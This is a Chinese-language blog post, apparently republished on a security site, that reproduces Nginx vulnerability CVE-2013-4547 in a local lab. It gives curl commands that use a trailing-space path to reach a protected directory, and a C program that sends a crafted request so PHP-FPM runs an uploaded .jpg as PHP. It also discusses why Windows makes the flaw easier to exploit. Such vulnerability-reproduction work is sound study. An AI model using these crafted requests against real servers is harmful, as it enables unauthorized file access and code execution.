神刀安全网

Nginx漏洞CVE-2013-4547复现

每一个漏洞的面世都是软件开发者的无意和黑客/白客的有意的共同结晶,它们之中大多数的诞生都是在某位或某几位程序猿经历千辛万苦,体验重重空虚寂寞冷之后的产物,以至于每一个漏洞都是如此的身价不菲。能与这些高富帅们勾搭上是我一直以来的梦想,可惜当前能力和时间有限,只能拔一拔它们的裤腿,瞅准了一把抱住,再深情的来一句:土豪,我们做朋友吧。

今天出场的这位高富帅是CVE-2013-4547,属于Nginx 0.8.41至1.4.3版本和1.5.7之前的1.5.x版本中存在的安全漏洞,可以看到其影响面非常大,不愧为土豪大佬的身份。具体来说是Nginx程序验证包含未转义空格字符的请求URIs时存在逻辑错误,远程攻击者可以利用该漏洞绕过既定的配置限制,导致信息泄露、系统文件被修改、性能下降或中断资源访问。

漏洞危害利用是黑客针对软件的瑕疵,构造异常的运行环境,让软件的瑕疵暴露出来,从而获取非法利益。我个人认为漏洞危害利用有三个要素:

1,软件存在漏洞(瑕疵):所有软件都会有漏洞,如果没有漏洞,那说明还没发现,如果还足够称得上是软件的话。

2,构造漏洞暴露的条件:这个条件的构造应该是非常苛刻的,非常难的,如果很容易,那可能需要考虑一下,这个是否是后门,而不是漏洞。或者,好吧,也许真有这种情况,毕竟现在在培训学校里学习三天就开始写软件的人也有大把。

3,不当得利:我有八字真言:“玩玩而已,何必当真。”,一般人我不告诉他,得此精髓的人都被关在小黑屋里捡肥皂去了。

不说废话,下面看看如何借助CVE-2013-4547来干些坏事。纯理论学习啊,后果自负啊!说说可以啊,不要动手啊!

第一部分:信息泄漏,即通过该漏洞访问保护的文件。1,首先得找个有该漏洞的Nginx WebServer,我这里在CentOS 6.2环境下随便安装一个吧,

[root@localhost gqk]# tar xf nginx-1.4.0.tar.gz [root@localhost gqk]# cd nginx-1.4.0 [root@localhost nginx-1.4.0]# ./configure --with-debug --without-http_rewrite_module [root@localhost nginx-1.4.0]# make & make install

configure的选项没什么特别的,加上debug只是方便调试,去除rewrite_module是因为我现在的环境没有pcre库,因为不影响这个漏洞,所以直接去掉了。

2,启动Nginx看看是否基本ok

[root@localhost nginx-1.4.0]# /usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf

通过wget访问http://127.0.0.1

[root@localhost nginx-1.4.0]# wget –debug http://127.0.0.1

嗯,ok。

3,构造环境

根据注1的介绍,

a)我们需要修改Nginx配置文件,增加一个保护目录,该目录不让用户访问:

location /protected/ {         deny all;     }

修改了配置,所以需要重启Nginx:/usr/local/nginx/sbin/nginx -s reload

b)需要web目录下有一个带有空格的文件夹:

[root@localhost html]# ls -F 50x.html  dir1/  dir 2/  dir3 /  index.html  protected/ [root@localhost html]# ls protected sec.html

为了对比测试,我建立了四个文件夹(注意上面第一条命令,我给ls加了-F参数,所以如果是文件夹,它会在后面带上斜杠):

dir1:没有任何空格

“dir 2″:中间有个空格

“dir3 “:末尾有个空格

protected:保护目录,同时该目录下还有个sec.html的文件

c)构造请求构造的请求uri里的空格不能被编码,而浏览器或wget都会自动把空格编码为%20,因此我改用curl。

4,对比测试a)直接请求sec.html,当然是被拒绝的,因为我们配置了保护protected目录的策略:

[root@localhost ~]# curl "http://127.0.0.1/protected/sec.html" <html> <head><title>403 Forbidden</title></head> <body bgcolor="white"> <center><h1>403 Forbidden</h1></center> <hr><center>nginx/1.4.0</center> </body> </html> 1 b)构造特殊请求: 1 [root@localhost ~]# curl http://127.0.0.1/dir1/../protected/sec.html <html> <head><title>403 Forbidden</title></head> <body bgcolor="white"> <center><h1>403 Forbidden</h1></center> <hr><center>nginx/1.4.0</center> </body> </html> [root@localhost ~]# curl "http://127.0.0.1/dir 2/../protected/sec.html" <html> <head><title>403 Forbidden</title></head> <body bgcolor="white"> <center><h1>403 Forbidden</h1></center> <hr><center>nginx/1.4.0</center> </body> </html> [root@localhost ~]# curl "http://127.0.0.1/dir3 /../protected/sec.html" <h1> This is a secret document. <h1/>

看到了吗?第三个构造的请求成功突破Nginx的保护策略而获取到被保护目录下的文件内容。

5,实际可应用程度

从上面的描述可以看到,要触发这个漏洞需要好几个条件:

a)Nginx 0.8.41至1.4.3版本和1.5.7之前的1.5.x版本。这个容易有,毕竟涉及的版本有这么多。

b)需要WebServer管理员对目录的保护采用这种普通字符匹配的策略,如果是其他保护策略(比如^~或~*),则条件满足失败。因特网站点千千万万,通过搜索肯定还是有这样配置的Nginx WebServer站点。

c)需要文件名末尾带有空格的文件夹,其他形式失败。怎么做?通过WebServer里站点提供的上传服务(如果有的话),上传对应的文件夹或压缩文件(如果服务器有提供解压功能)到服务器,然后期望服务器存储时没有对上传文件进行重命名而保留了空格。这个,有点难,现在的Web应用应该都会对高危文件(上传文件)做处理,比如改名是起码的。但是,慢慢的抠吧,成功就在不远处,如你的女神一般,永远那么飘渺。。。不过,也有逆袭的,是吧。。。

第二部分:未授权执行,即让Php引擎执行非php文件。

1,根据注1的内容,上面介绍的只是CVE-2013-4547的其中一个应用,即查看保护数据。而CVE-2013-4547的另外一个应用是恶意脚本非法执行,下面以php脚本为例,具体来看。

配置Nginx+Php环境,Php现在很流行。

下载php源码进行安装

[root@localhost gqk]# tar xf php-5.5.33.tar.bz2 [root@localhost gqk]# cd php-5.5.33 [root@localhost php-5.5.33]# ./configure --enable-fpm [root@localhost php-5.5.33]# make [root@localhost php-5.5.33]# make install

注意configure带的选项,需要打开fpm,如果要开启其他功能,比如mysql,请使用–with-mysql=…选项。所有选项可以通过configure的–help查看。准备配置文件:

[root@localhost php-5.5.33]# cp php.ini-production /usr/local/etc/php.ini [root@localhost php-5.5.33]# mv /usr/local/etc/php-fpm.conf.default /usr/local/etc/php-fpm.conf [root@localhost php-5.5.33]# php-fpm [root@localhost php-5.5.33]# netstat -natp | grep 9000

如果可以grep到对应的php-fpm进程,说明php安装初步ok了。

需要重新编译Nginx,让它支持PCRE。

首先从http://www.pcre.org/下载pcre-8.38.tar.gz,然后三板斧./configure & make & make install安装。

如果后门Nginx出现找不到pcre库的报错,比如:

/usr/local/nginx/sbin/nginx: error while loading shared libraries: libpcre.so.1: cannot open shared object file: No such file or directory

那么可能需要在PCRE的configure时指定lib目录到/usr/lib64:

./configure –prefix=/usr –libdir=/usr/lib64

其次,重新编译Nginx就是在configure时不要带上–without-http_rewrite_module。修改Nginx配置文件,加上PHP支持:

location ~ /.php$ {     root html;     fastcgi_pass 127.0.0.1:9000;     fastcgi_index index.php;     fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;     include fastcgi_params; }

最后,写个简单的test.php测试一下,

访问确保php正常解析。

2,构造环境

a)在默认配置下,Php-fpm只让php引擎执行php后缀的文件,因此第一个条件是要修改配置文件

/usr/local/etc/php-fpm.conf

把里面的limit_extensions设置为空。

; Note: set an empty value to allow all extensions. ; Default Value: .php security.limit_extensions =

b)在web目录下新增一个文件”cve.jpg “(注意这是一个末尾带有空格的文件),内容为php代码:

<?php echo "Illegal execution."; ?>

c)我们构造一个伪造请求,请求的地址为”/cve.jpg /0.php”,注意两点:

i)其中的空格没有编码

ii)/0是一个字符,是零,是字符串的结束字符。

3,测试

伪造请求,因为我们要伪造的请求里包含有字符串的结束字符/0,因此curl命令貌似是不能用了,至少我暂时是还不知道怎么传递这个/0给curl命令,可能有办法,需要查手册。

不过因为我之前研究Nginx时,写过这样的Http请求代码来调试Nginx逻辑,所以先直接用这个可行的办法,代码如下:

/**  * gcc -Wall -g -o bogus_request bogus_request.c  */ #include <sys/types.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <unistd.h>  char req_header[] = "GET /cve.jpg /0.php HTTP/1.1/r/nUser-Agent: curl/7.19.7/r/nHost: 127.0.0.1/r/nAccept: */*/r/n/r/n"; #define MAX_DATA_LEN (1024) char res_data[MAX_DATA_LEN];  int main(int argc, char *const *argv) {       int sockfd;       struct sockaddr_in server_addr;        if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) == -1) {              fprintf (stderr, "Socket error,%s/r/n", strerror (errno));              return -1;       }            bzero (&server_addr, sizeof (server_addr));       server_addr.sin_family = AF_INET;       server_addr.sin_port = htons (80);            if(!inet_aton("127.0.0.1", &server_addr.sin_addr)) {              fprintf (stderr, "Bad address:%s/r/n", strerror (errno));              close (sockfd);              return -1;       }            if (connect (sockfd, (struct sockaddr *) (&server_addr),              sizeof (struct sockaddr)) == -1) {              fprintf (stderr, "Connect Error:%s/r/n", strerror (errno));              close (sockfd);              return -1;       }            write (sockfd, req_header, sizeof(req_header) - 1);        for (;;) {              read (sockfd, res_data, MAX_DATA_LEN);              printf ("res:%s", res_data);       }        close (sockfd);       return 0; }

编译执行看结果:

[root@localhost ~]# gcc -Wall -g -o bogus_request bogus_request.c -O0 [root@localhost ~]# ./bogus_request  res:HTTP/1.1 200 OK Server: nginx/1.4.0 Date: Wed, 23 Mar 2016 10:04:42 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.5.33  12 Illegal execution. 0

可以看到我们成功利用漏洞欺骗Nginx误以为”cve.jpg /0.php”是一个Php脚本而传递给Php-fpm的Php引擎进行执行,而Php引擎在查找定位文件”cve.jpg /0.php”时又被/0截断,导致最终执行的脚本文件是”cve.jpg “。

4,实际可应用程度因为同样要构造文件名末尾带空格的文件,因此这个漏洞其实难以被真正利用。原因在前面提到过了,不再多说。不过这只是Linux下的情况,那Windows环境下又如何呢?

第三部分:Windows环境

这个漏洞在Windows环境下的利用价值就大大增强了,因为漏洞利用的前置条件”文件名末尾带空格的文件”不再需要。Windows下的API在读取文件时,会自动忽略对应文件名后的空格,也就是:

read “a.txt ” -> 实际读取的是文件”a.txt”

write “b.txt ” -> 实际写的是文件”b.txt”

下面是测试代码(VC6下测试,注2):

#include "stdafx.h" #include <windows.h>   int main(int argc, char* argv[]) {  HANDLE hFile = CreateFile("a.txt ",GENERIC_WRITE|GENERIC_READ, 0,   NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);    if (hFile ==INVALID_HANDLE_VALUE) {   printf("openfailed!");  } else {   printf("fileopened");  }   CloseHandle(hFile);  return 0; }

注意程序里用的是”a.txt “,而我们准备一个”a.txt”文件在对应路径下,上面的代码也可以正常打开,输出”fileopened”。事实上,在Windows的文件管理里,新建文件时,在文件名后带上空格,敲回车后生成的新文件文件名是没有带空格的,即被自动过滤掉了。也许就是和上面同样的原因。

正因为在Windows下去掉了这个最困难的前置条件,所以该漏洞的可利用程度就大大提高了。

第四部分:Nginx相关漏洞代码分析暂略,不想写了,囧。

注1:http://mailman.nginx.org/pipermail/nginx-announce/2013/000125.html?_ga=1.47291106.451110384.1458696222注2:http://drops.wooyun.org/tips/2006

转载请保留地址: http://www.lenky.info/archives/2016/04/2488http://lenky.info/?p=2488

备注:如无特殊说明,文章内容均出自Lenky个人的真实理解而并非存心妄自揣测来故意愚人耳目。由于个人水平有限,虽力求内容正确无误,但仍然难免出错,请勿见怪,如果可以则请留言告之,并欢迎来 讨论。另外值得说明的是,Lenky的部分文章以及部分内容参考借鉴了网络上各位网友的热心分享,特别是一些带有完全参考的文章,其后附带的链接内容也许更直接、更丰富,而我只是做了一下归纳&转述,在此也一并表示感谢。关于本站的所有技术文章,欢迎转载,但请遵从 CC创作共享协议 ,而一些私人性质较强的心情随笔,建议不要转载。

法律:根据最新颁布的《信息网络传播权保护条例》,如果您认为本文章的任何内容侵犯了您的权利,请以 Email 或书面等方式告知,本站将及时删除相关内容或链接。

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » Nginx漏洞CVE-2013-4547复现

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
分享按钮